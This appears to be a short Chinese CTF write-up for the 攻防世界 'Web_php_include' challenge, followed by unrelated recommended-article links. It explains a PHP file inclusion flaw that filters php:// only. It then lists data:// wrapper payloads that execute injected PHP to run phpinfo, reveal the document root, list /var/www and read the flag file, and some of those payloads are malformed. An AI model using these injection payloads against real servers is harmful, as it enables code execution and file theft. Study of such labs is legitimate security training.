32.攻防世界Web_php_include

进入场景

echo $_GET['hello'] 直接将用户通过 GET 方法提交的 hello 参数值输出到页面上,这可能会导致 XSS(跨站脚本攻击)漏洞。

在下面的代码中,虽然对 page 中的 php:// 进行了替换处理,但是仍然存在文件包含漏洞的风险。如果我们能够通过 _GET['page'] 传入一个恶意的文件路径,就可能导致服务器上的任意文件被包含和执行

"file://"是一种用于指定本地文件系统中文件的URI(统一资源标识符)协议。通过"file://"协议,可以在浏览器或其他支持该协议的应用程序中访问本地文件

"data://"协议是 PHP 中的一种数据流协议,它允许将数据作为文件来读取。该协议的语法如下:data:(<mediatype>)(;base64),<data>,其中,<mediatype>是可选的媒体类型,<data>是数据内容。

测试

/?page=data://text/plain,<?php phpinfo()?>

目录路径

/?page=data://text/plain,<?php echo $_SERVER['DOCUMENT_ROOT']; ?>

目录文件

/?page=data://text/plain,<?php print_r(scandir('/var/www')); ?>

读取文件内容

/?page=data://text/plain,<?php a=file_get_contents('fl4gisisish3r3.php'); echo htmlspecialchars(a); ?>

相关推荐
爱宇阳9 分钟前
Linux 安全加固:设置命令行无操作超时退出
linux·运维·安全
TL滕14 分钟前
从0开始学算法——第十四天(数组与搜索)
数据结构·笔记·学习·算法
龙亘川24 分钟前
【课程3.4】高可用架构保障:Control节点、存储平面、安全防护的架构选型
安全·平面·架构·智慧城市
派大鑫wink30 分钟前
网络工程师入门学习第二篇:TCP/IP协议与路由协议深入
网络·学习·tcp/ip
AI360labs_atyun44 分钟前
呼吸疾病+AI,人工智能正在改变慢病治疗
人工智能·科技·学习·ai
摇滚侠44 分钟前
冒泡排序是如何排序的,图解详细说明
数据库·笔记
NaturalHarmonia1 小时前
【Go】sync package官方示例代码学习
开发语言·学习·golang
QT 小鲜肉1 小时前
【孙子兵法之终篇】《孙子兵法》真人阅读、朗读、讲解的视频链接
网络·笔记·音视频·读书·孙子兵法
testpassportcn1 小时前
CompTIA A+ 220-1201 認證介紹|最新版本 A+ Core 1 220-1201 考試完整指南
网络·学习·改行学it
d111111111d1 小时前
C语言中static修斯局部变量,全局变量和函数时分别由什么特性
c语言·javascript·笔记·stm32·单片机·嵌入式硬件·学习